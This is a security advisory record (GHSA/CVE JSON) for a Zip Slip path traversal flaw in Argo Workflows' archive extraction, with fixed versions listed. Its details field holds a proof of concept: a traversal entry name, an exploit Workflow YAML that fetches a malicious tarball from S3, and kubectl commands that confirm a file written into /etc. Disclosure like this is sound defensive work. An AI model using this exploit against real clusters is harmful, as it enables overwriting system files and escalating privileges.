CVE-2025-62156: Github.com/argoproj/argo workflows/v3 Argo Workflow Has A Zipslip Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p84v-gxvw-73pf",
  "modified" : "2025-11-05T22:10:23Z",
  "published" : "2025-10-14T18:00:30Z",
  "aliases" : [ "CVE-2025-62156" ],
  "summary" : "Argo Workflow has a Zipslip Vulnerability",
  "details" : "### **Vulnerability Description**\n\n#### Vulnerability Overview\n\n1. During the artifact extraction process, the `unpack()` function extracts the compressed file to a temporary directory (`/etc.tmpdir`) and then attempts to move its contents to `/etc` using the `rename()` system call,\n2. However, since `/etc` is an already existing system directory, the `rename()` system call fails, making normal archive extraction impossible.\n3. At this point, if a malicious user sets the entry name inside the `tar.gz` file to a path traversal like `../../../../../etc/zipslip-poc`,\n4. The `untar()` function combines paths using `filepath.Join(dest, filepath.Clean(header.Name))` without path validation, resulting in `target = \"/work/input/../../../../../etc/zipslip-poc\"`,\n5. Ultimately, the `/etc/zipslip-poc` file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.\n\n#### untar(): Writing Files Outside the Extraction Directory\n\nhttps://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993\n\n1. **Base Path**: `/work/tmp` (dest) — The intended extraction directory in the wait container  \n2. **Malicious Entry**: `../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt` (`header.Name`) — Path traversal payload  \n3. **Path Cleaning**: `filepath.Clean(\"../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt\") = /mainctrfs/etc/zipslip-ok.txt` — Go’s path cleaning normalizes the traversal  \n4. **Path Joining**: `filepath.Join(\"/work/tmp\", \"/mainctrfs/etc/zipslip-ok.txt\") = /mainctrfs/etc/zipslip-ok.txt` — Absolute path overrides base directory  \n5. **File Creation**: `/mainctrfs/etc/zipslip-ok.txt` file is created in the wait container  \n6. **Volume Mirroring**: The file appears as `/etc/zipslip-ok.txt` in the main container due to volume mount mirroring\n\n### PoC\n\n#### PoC Description\n\n1. The user uploaded a malicious `tar.gz` file to S3 that contains path traversal entries like `../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt` designed to exploit the vulnerability.\n2. In the Argo Workflows YAML, the artifact’s path is set to `/work/tmp`, which should normally extract the archive to that intended directory.\n3. However, due to the vulnerability in the `untar()` function, `filepath.Join(\"/work/tmp\", \"/mainctrfs/etc/zipslip-ok.txt\")` resolves to `/mainctrfs/etc/zipslip-ok.txt`, causing files to be created in unintended locations.\n4. Since the wait container’s `/mainctrfs/etc` and the main container’s `/etc` share the same volume, files created in the wait container become visible in the main container’s `/etc/` directory.\n5. Consequently, the archive that should extract to `/work/tmp` exploits the Zip Slip vulnerability to create files in the `/etc/` directory, enabling manipulation of system configuration files.\n\n#### exploit yaml\n\n```yaml\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: zipslip-\nspec:\n  entrypoint: main\n  templates:\n  - name: main\n    container:\n      image: ubuntu:22.04\n      command: [\"sh\"]\n      args: [\"-c\", \"echo 'Starting container'; sleep 3000\"]\n      volumeMounts:\n      - name: etcvol\n        mountPath: /etc\n    inputs:\n      artifacts:\n      - name: evil\n        path: /work/tmp  \n        archive:\n          tar: {}\n        http:\n          url: \"https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz\"\n    volumes:\n    - name: etcvol\n      emptyDir: {}\n```\n\n#### exploit\n\n1. Create Zipslip  \n<img width=\"1300\" height=\"102\" alt=\"image (4)\" src=\"https://github.com/user-attachments/assets/74569df1-43f9-409d-b905-601bcb5998e2\" />\n\n2. Upload S3  \n<img width=\"1634\" height=\"309\" alt=\"image (5)\" src=\"https://github.com/user-attachments/assets/2bf4a90a-0f03-411d-9a31-3c7de4b399b4\" />\n\n\n3. Create Workflow  \n<img width=\"1875\" height=\"865\" alt=\"image (1) (1)\" src=\"https://github.com/user-attachments/assets/fd01a4a7-c400-47a2-a8f0-427b0feabc7f\" />\n\n\n4. Run  \n<img width=\"1799\" height=\"862\" alt=\"image (2)\" src=\"https://github.com/user-attachments/assets/18a68919-1529-4ca0-9ed4-b71e271ae38f\" />\n\n\n5. Exploit Success\n<img width=\"1363\" height=\"440\" alt=\"image (3)\" src=\"https://github.com/user-attachments/assets/ac0e834d-4734-4771-9d24-d6fd1ce5d77f\" />\n\n   ```bash\n   # Find Workflow and Pod\n   NS=default\n   WF=$(kubectl get wf -n \"$NS\" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}')\n   POD=$(kubectl get pod -n \"$NS\" -l workflows.argoproj.io/workflow=\"$WF\" --no-headers | awk 'END{print $1}')\n   echo \"NS=$NS WF=$WF POD=$POD\"\n   \n   # Connect Main Container\n   kubectl exec -it -n \"$NS\" \"$POD\" -c main -- bash\n   \n   # Exploit\n   cd /etc/\n   ls -l\n   cat zipslip-ok.txt\n   ```\n\n### Impact\n\n#### Container Isolation Bypass\n\nThe Zip Slip vulnerability allows attackers to write files to system directories like `/etc/` within the container, potentially overwriting critical configuration files such as `/etc/passwd`, `/etc/hosts`, or `/etc/crontab`, which could lead to privilege escalation or persistent access within the compromised container.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-workflows/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.6.12"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-workflows/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.7.0"
      }, {
        "fixed" : "3.7.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p84v-gxvw-73pf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-62156"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/commit/5659ad9b641fcf52c04ed594cd6493f9170f6011"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/commit/9f6bc5d236cd1b24d607943384511d71ad17a4c3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/argoproj/argo-workflows"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2025-4023"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-23" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-14T18:00:30Z",
    "nvd_published_at" : "2025-10-14T15:16:12Z"
  }
}